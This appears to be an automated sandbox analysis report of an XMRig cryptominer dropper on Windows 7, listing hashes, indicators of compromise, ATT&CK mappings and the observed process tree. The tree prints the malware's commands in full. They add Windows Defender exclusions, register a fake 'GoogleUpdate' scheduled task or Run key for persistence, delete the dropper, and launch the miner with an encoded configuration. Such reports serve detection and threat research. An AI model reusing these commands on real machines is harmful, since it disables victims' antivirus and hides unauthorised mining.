xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1801s
max time network
1820s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Size 2.0MB
Sample240123-x591qagbd7
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2312 created 1256	2312	Gu3PdXt79NF7EJXJ.exe	6
PID 2312 created 1256	2312	Gu3PdXt79NF7EJXJ.exe	6
PID 2312 created 1256	2312	Gu3PdXt79NF7EJXJ.exe	6
PID 2312 created 1256	2312	Gu3PdXt79NF7EJXJ.exe	6
PID 756 created 1256	756	updater.exe	6
PID 756 created 1256	756	updater.exe	6
PID 756 created 1256	756	updater.exe	6
PID 756 created 1256	756	updater.exe	6
PID 1736 created 1256	1736	conhost.exe	6
PID 756 created 1256	756	updater.exe	6

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 28 IoCs

miner

resource	yara_rule
behavioral13/memory/1872-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-134-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-136-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-143-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-145-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-147-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1872-149-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2900	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
756	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1204	taskeng.exe

UPX packed file 29 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral13/memory/1872-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-134-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-136-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-143-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-145-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-147-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1872-149-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 756 set thread context of 1736	756	updater.exe	47
PID 756 set thread context of 1872	756	updater.exe	54

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	Gu3PdXt79NF7EJXJ.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1324	schtasks.exe
3028	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2420	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f0dd22e4b84fda01	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2312	Gu3PdXt79NF7EJXJ.exe
2312	Gu3PdXt79NF7EJXJ.exe
2720	powershell.exe
2312	Gu3PdXt79NF7EJXJ.exe
2312	Gu3PdXt79NF7EJXJ.exe
2460	powershell.exe
2312	Gu3PdXt79NF7EJXJ.exe
2312	Gu3PdXt79NF7EJXJ.exe
2312	Gu3PdXt79NF7EJXJ.exe
2312	Gu3PdXt79NF7EJXJ.exe
2428	powershell.exe
756	updater.exe
756	updater.exe
1668	powershell.exe
756	updater.exe
756	updater.exe
2096	powershell.exe
756	updater.exe
756	updater.exe
756	updater.exe
756	updater.exe
1736	conhost.exe
1736	conhost.exe
756	updater.exe
756	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
468	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2720	powershell.exe
Token: SeDebugPrivilege	2460	powershell.exe
Token: SeDebugPrivilege	2428	powershell.exe
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeDebugPrivilege	2096	powershell.exe
Token: SeDebugPrivilege	756	updater.exe
Token: SeAssignPrimaryTokenPrivilege	2420	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2420	WMIC.exe
Token: SeSecurityPrivilege	2420	WMIC.exe
Token: SeTakeOwnershipPrivilege	2420	WMIC.exe
Token: SeLoadDriverPrivilege	2420	WMIC.exe
Token: SeSystemtimePrivilege	2420	WMIC.exe
Token: SeBackupPrivilege	2420	WMIC.exe
Token: SeRestorePrivilege	2420	WMIC.exe
Token: SeShutdownPrivilege	2420	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2420	WMIC.exe
Token: SeUndockPrivilege	2420	WMIC.exe
Token: SeManageVolumePrivilege	2420	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2420	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2420	WMIC.exe
Token: SeSecurityPrivilege	2420	WMIC.exe
Token: SeTakeOwnershipPrivilege	2420	WMIC.exe
Token: SeLoadDriverPrivilege	2420	WMIC.exe
Token: SeSystemtimePrivilege	2420	WMIC.exe
Token: SeBackupPrivilege	2420	WMIC.exe
Token: SeRestorePrivilege	2420	WMIC.exe
Token: SeShutdownPrivilege	2420	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2420	WMIC.exe
Token: SeUndockPrivilege	2420	WMIC.exe
Token: SeManageVolumePrivilege	2420	WMIC.exe
Token: SeLockMemoryPrivilege	1872	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2460 wrote to memory of 1324	2460	powershell.exe	33
PID 2460 wrote to memory of 1324	2460	powershell.exe	33
PID 2460 wrote to memory of 1324	2460	powershell.exe	33
PID 2428 wrote to memory of 1540	2428	powershell.exe	37
PID 2428 wrote to memory of 1540	2428	powershell.exe	37
PID 2428 wrote to memory of 1540	2428	powershell.exe	37
PID 2900 wrote to memory of 796	2900	cmd.exe	39
PID 2900 wrote to memory of 796	2900	cmd.exe	39
PID 2900 wrote to memory of 796	2900	cmd.exe	39
PID 1204 wrote to memory of 756	1204	taskeng.exe	41
PID 1204 wrote to memory of 756	1204	taskeng.exe	41
PID 1204 wrote to memory of 756	1204	taskeng.exe	41
PID 2096 wrote to memory of 3028	2096	powershell.exe	46
PID 2096 wrote to memory of 3028	2096	powershell.exe	46
PID 2096 wrote to memory of 3028	2096	powershell.exe	46
PID 756 wrote to memory of 1736	756	updater.exe	47
PID 2656 wrote to memory of 2420	2656	cmd.exe	49
PID 2656 wrote to memory of 2420	2656	cmd.exe	49
PID 2656 wrote to memory of 2420	2656	cmd.exe	49
PID 756 wrote to memory of 1872	756	updater.exe	54

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2312

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2428
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1540
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2900
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2096
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:3028
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1736
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1012
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2656
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1872

C:\Windows\system32\taskeng.exe
taskeng.exe {C3A974B7-511E-424B-B548-F1A9458FCE4E} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1204
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:756

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2420

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 136KB
SHA256 9eae78b814de47e8980deba47fbd5a76d4c29fe1b9c2ae62cdaa0b2b22e1cf57
MD5 4c626883c56db5ea573c741a1bbd332f
SHA1 e37cd7f5ed0fa34f696944bd2333f4c153e78ee9
SHA512 5c447788c08b73eb05a09d3e739008fe3ba95858ad8678fc4f62938ce7d4b0c326a4a02dda7364bf5afff2042cc4818ac5a4099931ee64f38f55fa2d44329b35
SSDEEP 3072:L3zjTv46w/ZUFO5TbwWpUt1D995tbq56k6hyqYk:L3zjTg6uUuViDX5Q6k6hyqr
MD5 SHA1 SHA512 SSDEEP

Submit Download

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 265KB
SHA256 1f4fffc701411b900ca929f0fc72407a0670c2b477522833f157b1722d2471d4
MD5 cdfbaf2fdaa21754035ecc7dea98d424
SHA1 796920c01d7f9eebc5ad59d18370484e2890982f
SHA512 b84c810f2aa51548f491391dc47aa038d120c5ccdc1f4c7e4fe023616fd8ff7bb95dece768ca9e02e8b8a6f40d7c32c63e334d8ca52526ea3a94044a5168928f
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLx73kb5T3Y:rWVi46hyqG2ckwLxgajd0mAVwb5T3Y
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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4FYHBT0PZDMO9MCP0AQS.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4FYHBT0PZDMO9MCP0AQS.temp
Size 7KB
SHA256 6a8f92eb391bdccffe105b0dc2947bc478abc816532a3787547743a22a7604b8
MD5 d496612fb585f89928093f76a0631ecd
SHA1 3eba0c96a4bcbd04fb2bba00a217d76bc01863d6
SHA512 5a5410ff95a4b193c3bedc34cee8b1f5efbaa156cc5b82cb4483e0dfca7133422332510a14292407f077b5b79d1b08a5091fdde58ee5f2c6731e90e0dd57e5a4
SSDEEP 96:0NGC7RM8nnqvsqvJCwoHNGC7RM8nnqvsEHyqvJCworm5bLQHmb7ahXlUVS:ghRjUothRjAHnormJHb7ahB
MD5 SHA1 SHA512 SSDEEP

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590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 c71f11294a797e8c71736854cb4a95fbc9bc14f0eb0b21a477db6001a000facd
MD5 1049c98e1f4ec1b6f4719292950cd23a
SHA1 418b21ff0a59e6d262ffbe8b7182f41ff8f1b061
SHA512 af1860e8c2f272ff609340225d0b92b7842c85eca4f474f815ef2dbc98fd2249a28f36b69113fee3cee3f9dad9ec4952f1928de1ea00decd98e684dd257a31cc
SSDEEP 96:0NGC7RM8nnqvsqvJCwoHNGC7RM8nnqvsEHyqvJCworm5bLQHmb7ahXlUVS:ghRjUothRjAHnormJHb7ahB
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 89KB
SHA256 e0f57323ca9b3717264a1e3d1898ac0b3a62c87c3cf4c7d53a04f3e254505ff0
MD5 ee6e9ddcc508ceb944b5dd5f7e2a5db3
SHA1 791ee218c60765ba7ac58ba90c61a98d9eec39a5
SHA512 c6bd283247b5422123dd48f51659cac607f440502346db1456966628be574d375729d0960d6c55dd9cb23f92ccfa6721591049a22164b1f676b9b8e305637a8f
SSDEEP 1536:L3zCarzIpyj5pLauwYY94E6w/oBKKwURaOO5FFbMVbEP3XpZlTAt1n/78qUlIz:L3zjTv46w/ZUFO5TbwWpUt1D91
MD5 SHA1 SHA512 SSDEEP

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memory/756-69-0x000000013FDC0000-0x000000013FFD1000-memory.dmp

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memory/756-73-0x000000013FDC0000-0x000000013FFD1000-memory.dmp

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memory/756-51-0x000000013FDC0000-0x000000013FFD1000-memory.dmp

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memory/1668-53-0x00000000007D0000-0x0000000000850000-memory.dmp

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memory/1668-54-0x00000000007D0000-0x0000000000850000-memory.dmp

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memory/1668-55-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp

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memory/1668-52-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp

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memory/1668-56-0x00000000007DB000-0x0000000000842000-memory.dmp

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memory/1668-57-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp

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memory/1736-82-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1736-78-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1872-120-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-115-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-100-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-98-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-96-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-95-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-92-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-90-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-88-0x0000000000970000-0x0000000000990000-memory.dmp

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memory/1872-86-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-87-0x00000000001C0000-0x00000000001E0000-memory.dmp

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memory/1872-85-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-83-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-104-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-81-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-106-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-109-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-102-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-117-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-121-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-128-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-130-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-132-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-134-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-136-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-79-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-143-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-76-0x00000000001C0000-0x00000000001E0000-memory.dmp

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memory/1872-77-0x0000000000970000-0x0000000000990000-memory.dmp

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memory/1872-145-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-74-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-75-0x00000000000B0000-0x00000000000D0000-memory.dmp

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memory/1872-147-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1872-149-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2096-60-0x0000000001130000-0x00000000011B0000-memory.dmp

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memory/2096-62-0x0000000001130000-0x00000000011B0000-memory.dmp

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memory/2096-64-0x0000000001130000-0x00000000011B0000-memory.dmp

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memory/2096-63-0x0000000001130000-0x00000000011B0000-memory.dmp

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memory/2096-61-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

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memory/2096-59-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

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memory/2096-65-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

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memory/2312-35-0x000000013FF10000-0x0000000140121000-memory.dmp

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memory/2312-0-0x000000013FF10000-0x0000000140121000-memory.dmp

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memory/2312-27-0x000000013FF10000-0x0000000140121000-memory.dmp

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memory/2312-5-0x000000013FF10000-0x0000000140121000-memory.dmp

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memory/2428-46-0x00000000026B0000-0x0000000002730000-memory.dmp

